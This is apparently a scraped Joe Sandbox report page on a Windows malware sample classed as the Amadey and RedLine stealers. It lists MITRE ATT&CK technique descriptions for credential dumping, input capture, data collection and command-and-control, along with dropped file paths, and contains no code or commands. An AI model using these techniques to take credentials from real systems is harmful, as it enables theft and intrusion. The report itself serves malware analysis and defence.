Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Containers, IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Amadey

Threatname: RedLine

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Stealing of Sensitive Information

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\MPGPH131\MPGPH131.exe

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_MPGPH131.exe_e7f941c137a56bc35a442066886260e392eebb0_71691813_2d0c8636-0fc2-4001-88f0-874664e35bad\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_MPGPH131.exe_e7f941c137a56bc35a442066886260e392eebb0_71691813_7c03d346-bca5-4ef7-ba13-0d329aabc53b\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_c884f8452a.exe_cb7c7044b12ad4d5eac6ccbe687b5b5249d82ef_d12a3eaf_f8b9a4f9-955c-458d-a5da-73d12567bae0\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4E2.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER60C.tmp.WERInternalMetadata.xml

Windows Analysis Report
SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre